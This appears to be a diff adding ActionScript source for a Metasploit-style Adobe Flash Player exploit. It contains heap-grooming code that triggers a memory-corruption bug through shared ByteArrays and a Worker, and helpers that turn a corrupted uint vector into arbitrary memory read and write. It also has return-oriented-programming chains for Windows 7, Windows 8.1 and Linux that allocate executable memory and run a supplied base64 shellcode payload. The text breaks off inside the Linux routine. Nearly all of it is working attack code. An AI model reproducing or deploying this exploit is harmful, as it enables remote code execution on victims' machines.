// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
|
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||||
|
|
||||||
|
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||||
|
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.*
|
||||||
|
import flash.display.*
|
||||||
|
import flash.system.*
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public final class Exploit extends Sprite {
|
||||||
|
private var shared_ba:ByteArray = null
|
||||||
|
|
||||||
|
private var hole_ba:ByteArray = null;
|
||||||
|
private var confuse_length_ba:ByteArray = null;
|
||||||
|
private var fake_ba:ByteArray = null;
|
||||||
|
private var worker:Worker = null;
|
||||||
|
|
||||||
|
private var byte_array_vector:Vector.<Object> = null;
|
||||||
|
private var byte_array_vector_length:int;
|
||||||
|
|
||||||
|
private var object_vector:Vector.<Object> = null;
|
||||||
|
private var object_vector_length:uint;
|
||||||
|
|
||||||
|
private var ba:ByteArray
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
private var corrupted_uv_index:uint = 0
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder();
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var os:String
|
||||||
|
private var exploiter:Exploiter
|
||||||
|
|
||||||
|
public function Exploit() {
|
||||||
|
this.object_vector_length = 5770 * 2
|
||||||
|
this.byte_array_vector_length = 510 * 2
|
||||||
|
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
this.initialize_worker_and_ba()
|
||||||
|
if (!this.trigger())
|
||||||
|
{
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var index:uint = search_uint_vector(114, 0x40000000)
|
||||||
|
if (index == 0xffffffff) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
this.uv = this.object_vector[this.corrupted_uv_index]
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < object_vector.length; i++) {
|
||||||
|
if (i != corrupted_uv_index)
|
||||||
|
object_vector[i] = null
|
||||||
|
}
|
||||||
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function initialize_worker_and_ba():Boolean{
|
||||||
|
this.ba = new ByteArray()
|
||||||
|
this.ba.endian = "littleEndian"
|
||||||
|
this.ba.length = 1024
|
||||||
|
this.ba.writeUnsignedInt(0xdeedbeef)
|
||||||
|
this.ba.position = 0
|
||||||
|
|
||||||
|
this.shared_ba = new ByteArray()
|
||||||
|
this.shared_ba.shareable = true
|
||||||
|
this.shared_ba.endian = Endian.LITTLE_ENDIAN
|
||||||
|
this.shared_ba.writeUnsignedInt(252536)
|
||||||
|
this.shared_ba.writeUnsignedInt(16777216)
|
||||||
|
|
||||||
|
this.confuse_length_ba = new ByteArray()
|
||||||
|
this.confuse_length_ba.length = 0x2000
|
||||||
|
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
|
||||||
|
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
|
||||||
|
|
||||||
|
this.fake_ba = new ByteArray();
|
||||||
|
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
|
||||||
|
|
||||||
|
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function trigger():Boolean{
|
||||||
|
// Memory massaging
|
||||||
|
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
|
||||||
|
this.fill_byte_array_vector();
|
||||||
|
// 2. Clear the marked ByteArray
|
||||||
|
this.hole_ba.clear();
|
||||||
|
|
||||||
|
// The shared_ba should be left in "shared" state
|
||||||
|
this.worker.setSharedProperty("fnfre", this.shared_ba)
|
||||||
|
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
|
||||||
|
this.worker.setSharedProperty("vfhrth", this.shared_ba)
|
||||||
|
|
||||||
|
// fake_ba *data* is going to fill the space freed from the hole
|
||||||
|
this.fake_ba.length = 0x2000;
|
||||||
|
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
|
||||||
|
|
||||||
|
// Trigger the vulnerability, if the memory layout is good enough
|
||||||
|
// the (freed) hole_ba metadata will end being the shared_ba metadata...
|
||||||
|
this.shared_ba.uncompress()
|
||||||
|
|
||||||
|
// So its size should be 0x2000
|
||||||
|
if (this.shared_ba.length != 0x2000)
|
||||||
|
{
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// Free the fake_ba and make holes on the ByteArray's
|
||||||
|
// allocated on massaging.
|
||||||
|
this.free_fake_and_make_holes()
|
||||||
|
|
||||||
|
// Fill the holes and the fake_ba data space with
|
||||||
|
// <uint> vectors
|
||||||
|
this.fill_with_vectors()
|
||||||
|
|
||||||
|
// Hopefully the shared_ba metadata, product of the vulnerability
|
||||||
|
// at this moment point to the <uint> vectors in memory =) it means
|
||||||
|
// game over.
|
||||||
|
var pwn_test:uint;
|
||||||
|
this.shared_ba.position = 0;
|
||||||
|
pwn_test = this.shared_ba.readUnsignedInt();
|
||||||
|
|
||||||
|
if (pwn_test == 0xBBBBBBBB)
|
||||||
|
{
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
|
||||||
|
var i:int;
|
||||||
|
local_ba.position = 0;
|
||||||
|
i = 0;
|
||||||
|
while (i < (local_ba.length / 4))
|
||||||
|
{
|
||||||
|
local_ba.writeInt(value);
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
local_ba.position = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function fill_byte_array_vector():void{
|
||||||
|
var i:int;
|
||||||
|
var local_ba:ByteArray;
|
||||||
|
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
|
||||||
|
|
||||||
|
i = 0;
|
||||||
|
|
||||||
|
while (i < this.byte_array_vector_length)
|
||||||
|
{
|
||||||
|
local_ba = new ByteArray();
|
||||||
|
this.byte_array_vector[i] = local_ba;
|
||||||
|
local_ba.endian = Endian.LITTLE_ENDIAN;
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
var hole_index:int = this.byte_array_vector_length * 4 / 5;
|
||||||
|
if (hole_index % 2 == 0)
|
||||||
|
{
|
||||||
|
hole_index++;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(i = 0; i < this.byte_array_vector_length; i++)
|
||||||
|
{
|
||||||
|
local_ba = this.byte_array_vector[i] as ByteArray
|
||||||
|
local_ba.length = 0x2000
|
||||||
|
this.fill_byte_array(local_ba, 0xCCCCCCCC)
|
||||||
|
local_ba.writeInt(0xbabefac0)
|
||||||
|
local_ba.writeInt(0xbabefac1)
|
||||||
|
local_ba.writeInt(i)
|
||||||
|
local_ba.writeInt(0xbabefac3)
|
||||||
|
if (i == hole_index)
|
||||||
|
{
|
||||||
|
this.hole_ba = local_ba;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function free_fake_and_make_holes():void {
|
||||||
|
var i:int
|
||||||
|
var clear_ba:ByteArray
|
||||||
|
var hole_index:int = this.byte_array_vector_length * 4 / 5
|
||||||
|
|
||||||
|
if (hole_index % 2 == 0)
|
||||||
|
{
|
||||||
|
hole_index++;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < this.byte_array_vector_length; i++)
|
||||||
|
{
|
||||||
|
if (i == hole_index) {
|
||||||
|
this.fake_ba.clear();
|
||||||
|
} else {
|
||||||
|
if (i % 2 == 1)
|
||||||
|
{
|
||||||
|
clear_ba = this.byte_array_vector[i] as ByteArray
|
||||||
|
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
|
||||||
|
clear_ba.clear()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function fill_with_vectors():void {
|
||||||
|
var i:uint;
|
||||||
|
var uint_vector:Vector.<uint>;
|
||||||
|
var objects:Vector.<Object>;
|
||||||
|
this.object_vector = new Vector.<Object>(this.object_vector_length);
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
while (i < this.object_vector_length)
|
||||||
|
{
|
||||||
|
this.object_vector[i] = new Vector.<uint>()
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
while (i < this.object_vector_length)
|
||||||
|
{
|
||||||
|
uint_vector = this.object_vector[i] as Vector.<uint>
|
||||||
|
uint_vector.length = 114
|
||||||
|
uint_vector[0] = 0xfeedbabe
|
||||||
|
uint_vector[1] = i
|
||||||
|
uint_vector[2] = 0xbabeface
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use the corrupted shared_ba to search and corrupt the uint vector
|
||||||
|
// Returns the offset to the *length* of the corrupted vector
|
||||||
|
private function search_uint_vector(old_length:uint, new_length:uint):uint {
|
||||||
|
this.shared_ba.position = 0
|
||||||
|
var i:uint = 0
|
||||||
|
var length:uint = 0
|
||||||
|
var atom:uint = 0
|
||||||
|
var mark_one:uint = 0
|
||||||
|
var index:uint = 0
|
||||||
|
var mark_two:uint = 0
|
||||||
|
while (i < 0x2000) {
|
||||||
|
length = shared_ba.readUnsignedInt()
|
||||||
|
if (length == old_length) {
|
||||||
|
atom = shared_ba.readUnsignedInt()
|
||||||
|
mark_one = shared_ba.readUnsignedInt()
|
||||||
|
index = shared_ba.readUnsignedInt()
|
||||||
|
mark_two = shared_ba.readUnsignedInt()
|
||||||
|
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
|
||||||
|
shared_ba.position = i
|
||||||
|
shared_ba.writeUnsignedInt(new_length)
|
||||||
|
this.corrupted_uv_index = index
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
i = i + 16
|
||||||
|
}
|
||||||
|
i = i + 4
|
||||||
|
}
|
||||||
|
return 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,74 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint = 114
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,399 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(10000)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
if (op_system == "Windows 8.1") {
|
||||||
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
